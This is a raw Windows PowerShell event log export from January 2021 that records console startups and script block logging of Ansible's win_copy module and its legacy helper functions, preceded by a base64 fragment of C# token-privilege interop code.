lbDMyIildCiAgICAgICAgaW50ZXJuYWwgc3RhdGljIGV4dGVybiBTYWZlV2FpdEhhbmRsZSBHZXRDdXJyZW50UHJvY2VzcygpOwoKICAgICAgICBbRGxsSW1wb3J0KCJhZHZhcGkzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBpbnRlcm5hbCBzdGF0aWMgZXh0ZXJuIGJvb2wgR2V0VG9rZW5JbmZvcm1hdGlvbigKICAgICAgICAgICAgSW50UHRyIFRva2VuSGFuZGxlLAogICAgICAgICAgICBVSW50MzIgVG9rZW5JbmZvcm1hdGlvbkNsYXNzLAogICAgICAgICAgICBJbnRQdHIgVG9rZW5JbmZvcm1hdGlvbiwKICAgICAgICAgICAgVUludDMyIFRva2VuSW5mb3JtYXRpb25MZW5ndGgsCiAgICAgICAgICAgIG91dCBVSW50MzIgUmV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W50IGVyckNvZGUgPSBNYXJzaGFsLkdldExhc3RXaW4zMkVycm9yKCk7CiAgICAgICAgICAgICAgICBpZiAoZXJyQ29kZSAhPSAxMzEzKSAgLy8gRVJST1JfTk9fU1VDSF9QUklWSUxFR0UKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgV2luMzJFeGNlcHRpb24oZXJyQ29kZSwgU3RyaW5nLkZvcm1hdCgiTG9va3VwUHJpdmlsZWdlVmFsdWUoezB9KSBmYWlsZWQiLCBuYW1lKSk7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyBEaWN0aW9uYXJ5PHN0cmluZywgYm9vbD8+IERpc2FibGVQcml2aWxlZ2UoU2FmZUhhbmRsZSB0b2tlbiwgc3RyaW5nIHByaXZpbGVnZSkKICAgICAgICB7CiAgICAgICAgICAgIHJldHVybiBTZXRUb2tlblByaXZpbGVnZXModG9rZW4sIG5ldyBEaWN0aW9uYXJ5PHN0cmluZywgYm9vbD8+KCkgeyB7IHByaXZpbGVnZSwgZmFsc2UgfSB9KTsKICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgRGljdGlvbmFyeTxzdHJpbmcsIGJvb2w/PiBEaXNhYmxlQWxsUHJpdmlsZWdlcyhTYWZlSGFuZGxlIHRva2VuKQogICAgICAgIHsKICAgICAgICAgICAgcmV0dXJuIEFkanVzdFRva2VuUHJpdmlsZWdlcyh0b2tlbiwgbnVsbCk7CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIERpY3Rpb25hcnk8c3RyaW5nLCBib29sPz4gRW5hYmxlUHJpdmlsZWdlKFNhZmVIYW5kbGUgdG9rZW4sIHN0cmluZyBwcml2aWxlZ2UpCiAgICAgICAg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YWwoKGludCl0b2tlbk
ScriptBlock ID: 16c03d50-d2cf-44a2-911e-c793d635125d
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2236 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4124 | 4360 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:08 AM | 61e00a24-ee3b-0005-b507-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2235 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4124 | 4720 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:08 AM | 61e00a24-ee3b-0000-3cb3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4124 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2234 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4124 | 2748 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:08 AM | 61e00a24-ee3b-0000-3cb3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2233 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4124 | 4720 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:08 AM | 61e00a24-ee3b-0000-3cb3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2232 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2844 | 3852 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:08 AM | 61e00a24-ee3b-0000-3ab3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 2844 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2231 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2844 | 4876 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:08 AM | 61e00a24-ee3b-0000-3ab3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2230 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2844 | 3852 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:08 AM | 61e00a24-ee3b-0000-3ab3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2229 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3984 | 4936 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:08 AM | 61e00a24-ee3b-0000-39b3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 3984 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2228 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3984 | 3144 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:08 AM | 61e00a24-ee3b-0000-39b3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2227 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3984 | 4936 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:08 AM | 61e00a24-ee3b-0000-39b3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2226 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2348 | 4480 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:07 AM | 61e00a24-ee3b-0001-5fc6-eb613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 2348 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2225 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2348 | 4424 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:07 AM | 61e00a24-ee3b-0001-5fc6-eb613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2224 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2348 | 4480 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:07 AM | 61e00a24-ee3b-0001-5fc6-eb613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2223 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4420 | 2640 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:07 AM | 61e00a24-ee3b-0000-2cb3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4420 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2222 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4420 | 1560 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:07 AM | 61e00a24-ee3b-0000-2cb3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2221 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4420 | 2640 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:07 AM | 61e00a24-ee3b-0000-2cb3-ee613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#!powershell
# Copyright: (c) 2015, Jon Hawkesworth (@jhawkesworth) <figs@unity.demon.co.uk>
# Copyright: (c) 2017, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
#Requires -Module Ansible.ModuleUtils.Legacy
$ErrorActionPreference = 'Stop'
$params = Parse-Args -arguments $args -supports_check_mode $true
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
$diff_mode = Get-AnsibleParam -obj $params -name "_ansible_diff" -type "bool" -default $false
# there are 4 modes to win_copy which are driven by the action plugins:
# explode: src is a zip file which needs to be extracted to dest, for use with multiple files
# query: win_copy action plugin wants to get the state of remote files to check whether it needs to send them
# remote: all copy action is happening remotely (remote_src=True)
# single: a single file has been copied, also used with template
$copy_mode = Get-AnsibleParam -obj $params -name "_copy_mode" -type "str" -default "single" -validateset "explode","query","remote","single"
# used in explode, remote and single mode
$src = Get-AnsibleParam -obj $params -name "src" -type "path" -failifempty ($copy_mode -in @("explode","process","single"))
$dest = Get-AnsibleParam -obj $params -name "dest" -type "path" -failifempty $true
# used in single mode
$original_basename = Get-AnsibleParam -obj $params -name "_original_basename" -type "str"
# used in query and remote mode
$force = Get-AnsibleParam -obj $params -name "force" -type "bool" -default $true
# used in query mode, contains the local files/directories/symlinks that are to be copied
$files = Get-AnsibleParam -obj $params -name "files" -type "list"
$directories = Get-AnsibleParam -obj $params -name "directories" -type "list"
$symlinks = Get-AnsibleParam -obj $params -name "symlinks" -type "list"
$result = @{
changed = $false
}
if ($diff_mode) {
$result.diff = @{}
}
Function Copy-File($source, $dest) {
$diff = ""
$copy_file = $false
$source_checksum = $null
if ($force) {
$source_checksum = Get-FileChecksum -path $source
}
if (Test-Path -Path $dest -PathType Container) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': dest is already a folder"
} elseif (Test-Path -Path $dest -PathType Leaf) {
if ($force) {
$target_checksum = Get-FileChecksum -path $dest
if ($source_checksum -ne $target_checksum) {
$copy_file = $true
}
}
} else {
$copy_file = $true
}
if ($copy_file) {
$file_dir = [System.IO.Path]::GetDirectoryName($dest)
# validate the parent dir is not a file and that it exists
if (Test-Path -Path $file_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': object at dest parent dir is not a folder"
} elseif (-not (Test-Path -Path $file_dir)) {
# directory doesn't exist, need to create
New-Item -Path $file_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
$diff += "+$file_dir\`n"
}
if (Test-Path -Path $dest -PathType Leaf) {
Remove-Item -Path $dest -Force -Recurse -WhatIf:$check_mode | Out-Null
$diff += "-$dest`n"
}
if (-not $check_mode) {
# cannot run with -WhatIf:$check_mode as if the parent dir didn't
# exist and was created above would still not exist in check mode
Copy-Item -Path $source -Destination $dest -Force | Out-Null
}
$diff += "+$dest`n"
$result.changed = $true
}
# ugly but to save us from running the checksum twice, let's return it for
# the main code to add it to $result
return ,@{ diff = $diff; checksum = $source_checksum }
}
Function Copy-Folder($source, $dest) {
$diff = ""
$copy_folder = $false
if (-not (Test-Path -Path $dest -PathType Container)) {
$parent_dir = [System.IO.Path]::GetDirectoryName($dest)
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': object at dest parent dir is not a folder"
}
if (Test-Path -Path $dest -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder from '$source' to '$dest': dest is already a file"
}
New-Item -Path $dest -ItemType Container -WhatIf:$check_mode | Out-Null
$diff += "+$dest\`n"
$result.changed = $true
}
$child_items = Get-ChildItem -Path $source -Force
foreach ($child_item in $child_items) {
$dest_child_path = Join-Path -Path $dest -ChildPath $child_item.Name
if ($child_item.PSIsContainer) {
$diff += (Copy-Folder -source $child_item.Fullname -dest $dest_child_path)
} else {
$diff += (Copy-File -source $child_item.Fullname -dest $dest_child_path).diff
}
}
return $diff
}
Function Get-FileSize($path) {
$file = Get-Item -Path $path -Force
$size = $null
if ($file.PSIsContainer) {
$dir_files_sum = Get-ChildItem $file.FullName -Recurse
if ($dir_files_sum -eq $null -or ($dir_files_sum.PSObject.Properties.name -contains 'length' -eq $false)) {
$size = 0
} else {
$size = ($dir_files_sum | Measure-Object -property length -sum).Sum
}
} else {
$size = $file.Length
}
$size
}
Function Extract-Zip($src, $dest) {
$archive = [System.IO.Compression.ZipFile]::Open($src, [System.IO.Compression.ZipArchiveMode]::Read, [System.Text.Encoding]::UTF8)
foreach ($entry in $archive.Entries) {
$archive_name = $entry.FullName
# FullName may be appended with / or \, determine if it is padded and remove it
$padding_length = $archive_name.Length % 4
if ($padding_length -eq 0) {
$is_dir = $false
$base64_name = $archive_name
} elseif ($padding_length -eq 1) {
$is_dir = $true
if ($archive_name.EndsWith("/") -or $archive_name.EndsWith("`\")) {
$base64_name = $archive_name.Substring(0, $archive_name.Length - 1)
} else {
throw "invalid base64 archive name '$archive_name'"
}
} else {
throw "invalid base64 length '$archive_name'"
}
# to handle unicode character, win_copy action plugin has encoded the filename
$decoded_archive_name = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64_name))
# re-add the / to the entry full name if it was a directory
if ($is_dir) {
$decoded_archive_name = "$decoded_archive_name/"
}
$entry_target_path = [System.IO.Path]::Combine($dest, $decoded_archive_name)
$entry_dir = [System.IO.Path]::GetDirectoryName($entry_target_path)
if (-not (Test-Path -Path $entry_dir)) {
New-Item -Path $entry_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
}
if ($is_dir -eq $false) {
if (-not $check_mode) {
[System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $entry_target_path, $true)
}
}
}
$archive.Dispose() # release the handle of the zip file
}
Function Extract-ZipLegacy($src, $dest) {
if (-not (Test-Path -Path $dest)) {
New-Item -Path $dest -ItemType Directory -WhatIf:$check_mode | Out-Null
}
$shell = New-Object -ComObject Shell.Application
$zip = $shell.NameSpace($src)
$dest_path = $shell.NameSpace($dest)
foreach ($entry in $zip.Items()) {
$is_dir = $entry.IsFolder
$encoded_archive_entry = $entry.Name
# to handle unicode character, win_copy action plugin has encoded the filename
$decoded_archive_entry = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded_archive_entry))
if ($is_dir) {
$decoded_archive_entry = "$decoded_archive_entry/"
}
$entry_target_path = [System.IO.Path]::Combine($dest, $decoded_archive_entry)
$entry_dir = [System.IO.Path]::GetDirectoryName($entry_target_path)
if (-not (Test-Path -Path $entry_dir)) {
New-Item -Path $entry_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
}
if ($is_dir -eq $false -and (-not $check_mode)) {
# https://msdn.microsoft.com/en-us/library/windows/desktop/bb787866.aspx
# From Folder.CopyHere documentation, 1044 means:
# - 1024: do not display a user interface if an error occurs
# - 16: respond with "yes to all" for any dialog box that is displayed
# - 4: do not display a progress dialog box
$dest_path.CopyHere($entry, 1044)
# once file is extraced, we need to rename it with non base64 name
$combined_encoded_path = [System.IO.Path]::Combine($dest, $encoded_archive_entry)
Move-Item -Path $combined_encoded_path -Destination $entry_target_path -Force | Out-Null
}
}
}
if ($copy_mode -eq "query") {
# we only return a list of files/directories that need to be copied over
# the source of the local file will be the key used
$changed_files = @()
$changed_directories = @()
$changed_symlinks = @()
foreach ($file in $files) {
$filename = $file.dest
$local_checksum = $file.checksum
$filepath = Join-Path -Path $dest -ChildPath $filename
if (Test-Path -Path $filepath -PathType Leaf) {
if ($force) {
$checksum = Get-FileChecksum -path $filepath
if ($checksum -ne $local_checksum) {
$will_change = $true
$changed_files += $file
}
}
} elseif (Test-Path -Path $filepath -PathType Container) {
Fail-Json -obj $result -message "cannot copy file to dest '$filepath': object at path is already a directory"
} else {
$changed_files += $file
}
}
foreach ($directory in $directories) {
$dirname = $directory.dest
$dirpath = Join-Path -Path $dest -ChildPath $dirname
$parent_dir = [System.IO.Path]::GetDirectoryName($dirpath)
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder to dest '$dirpath': object at parent directory path is already a file"
}
if (Test-Path -Path $dirpath -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder to dest '$dirpath': object at path is already a file"
} elseif (-not (Test-Path -Path $dirpath -PathType Container)) {
$changed_directories += $directory
}
}
# TODO: Handle symlinks
$result.files = $changed_files
$result.directories = $changed_directories
$result.symlinks = $changed_symlinks
} elseif ($copy_mode -eq "explode") {
# a single zip file containing the files and directories needs to be
# expanded this will always result in a change as the calculation is done
# on the win_copy action plugin and is only run if a change needs to occur
if (-not (Test-Path -Path $src -PathType Leaf)) {
Fail-Json -obj $result -message "Cannot expand src zip file: '$src' as it does not exist"
}
# Detect if the PS zip assemblies are available or whether to use Shell
$use_legacy = $false
try {
Add-Type -AssemblyName System.IO.Compression.FileSystem | Out-Null
Add-Type -AssemblyName System.IO.Compression | Out-Null
} catch {
$use_legacy = $true
}
if ($use_legacy) {
Extract-ZipLegacy -src $src -dest $dest
} else {
Extract-Zip -src $src -dest $dest
}
$result.changed = $true
} elseif ($copy_mode -eq "remote") {
# all copy actions are happening on the remote side (windows host), need
# too copy source and dest using PS code
$result.src = $src
$result.dest = $dest
if (-not (Test-Path -Path $src)) {
Fail-Json -obj $result -message "Cannot copy src file: '$src' as it does not exist"
}
if (Test-Path -Path $src -PathType Container) {
# we are copying a directory or the contents of a directory
$result.operation = 'folder_copy'
if ($src.EndsWith("/") -or $src.EndsWith("`\")) {
# copying the folder's contents to dest
$diff = ""
$child_files = Get-ChildItem -Path $src -Force
foreach ($child_file in $child_files) {
$dest_child_path = Join-Path -Path $dest -ChildPath $child_file.Name
if ($child_file.PSIsContainer) {
$diff += Copy-Folder -source $child_file.FullName -dest $dest_child_path
} else {
$diff += (Copy-File -source $child_file.FullName -dest $dest_child_path).diff
}
}
} else {
# copying the folder and it's contents to dest
$dest = Join-Path -Path $dest -ChildPath (Get-Item -Path $src -Force).Name
$result.dest = $dest
$diff = Copy-Folder -source $src -dest $dest
}
} else {
# we are just copying a single file to dest
$result.operation = 'file_copy'
$source_basename = (Get-Item -Path $src -Force).Name
$result.original_basename = $source_basename
if ($dest.EndsWith("/") -or $dest.EndsWith("`\")) {
$dest = Join-Path -Path $dest -ChildPath (Get-Item -Path $src -Force).Name
$result.dest = $dest
} else {
# check if the parent dir exists, this is only done if src is a
# file and dest if the path to a file (doesn't end with \ or /)
$parent_dir = Split-Path -Path $dest
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
Fail-Json -obj $result -message "Destination directory '$parent_dir' does not exist"
}
}
$copy_result = Copy-File -source $src -dest $dest
$diff = $copy_result.diff
$result.checksum = $copy_result.checksum
}
# the file might not exist if running in check mode
if (-not $check_mode -or (Test-Path -Path $dest -PathType Leaf)) {
$result.size = Get-FileSize -path $dest
} else {
$result.size = $null
}
if ($diff_mode) {
$result.diff.prepared = $diff
}
} elseif ($copy_mode -eq "single") {
# a single file is located in src and we need to copy to dest, this will
# always result in a change as the calculation is done on the Ansible side
# before this is run. This should also never run in check mode
if (-not (Test-Path -Path $src -PathType Leaf)) {
Fail-Json -obj $result -message "Cannot copy src file: '$src' as it does not exist"
}
# the dest parameter is a directory, we need to append original_basename
if ($dest.EndsWith("/") -or $dest.EndsWith("`\") -or (Test-Path -Path $dest -PathType Container)) {
$remote_dest = Join-Path -Path $dest -ChildPath $original_basename
$parent_dir = Split-Path -Path $remote_dest
# when dest ends with /, we need to create the destination directories
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
New-Item -Path $parent_dir -ItemType Directory | Out-Null
}
} else {
$remote_dest = $dest
$parent_dir = Split-Path -Path $remote_dest
# check if the dest parent dirs exist, need to fail if they don't
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
Fail-Json -obj $result -message "Destination directory '$parent_dir' does not exist"
}
}
Copy-Item -Path $src -Destination $remote_dest -Force | Out-Null
$result.changed = $true
}
Exit-Json -obj $result
ScriptBlock ID: 75112d37-fd00-4dcf-b206-7c2e292cbd95
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2220 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4492 | 1048 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:07 AM | 61e00a24-ee3b-0003-b2e3-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
Function Set-Attr($obj, $name, $value)
{
<#
.SYNOPSIS
Helper function to set an "attribute" on a psobject instance in PowerShell.
This is a convenience to make adding Members to the object easier and
slightly more pythonic
.EXAMPLE
Set-Attr $result "changed" $true
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
Try
{
$obj.$name = $value
}
Catch
{
$obj | Add-Member -Force -MemberType NoteProperty -Name $name -Value $value
}
}
Function Exit-Json($obj)
{
<#
.SYNOPSIS
Helper function to convert a PowerShell object to JSON and output it, exiting
the script
.EXAMPLE
Exit-Json $result
#>
# If the provided $obj is undefined, define one to be nice
If (-not $obj.GetType)
{
$obj = @{ }
}
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit
}
Function Fail-Json($obj, $message = $null)
{
<#
.SYNOPSIS
Helper function to add the "msg" property and "failed" property, convert the
PowerShell Hashtable to JSON and output it, exiting the script
.EXAMPLE
Fail-Json $result "This is the failure message"
#>
if ($obj -is [hashtable] -or $obj -is [psobject]) {
# Nothing to do
} elseif ($obj -is [string] -and $null -eq $message) {
# If we weren't given 2 args, and the only arg was a string,
# create a new Hashtable and use the arg as the failure message
$message = $obj
$obj = @{ }
} else {
# If the first argument is undefined or a different type,
# make it a Hashtable
$obj = @{ }
}
# Still using Set-Attr for PSObject compatibility
Set-Attr $obj "msg" $message
Set-Attr $obj "failed" $true
if (-not $obj.ContainsKey('changed')) {
Set-Attr $obj "changed" $false
}
Write-Output $obj | ConvertTo-Json -Compress -Depth 99
Exit 1
}
Function Add-Warning($obj, $message)
{
<#
.SYNOPSIS
Helper function to add warnings, even if the warnings attribute was
not already set up. This is a convenience for the module developer
so they do not have to check for the attribute prior to adding.
#>
if (-not $obj.ContainsKey("warnings")) {
$obj.warnings = @()
} elseif ($obj.warnings -isnot [array]) {
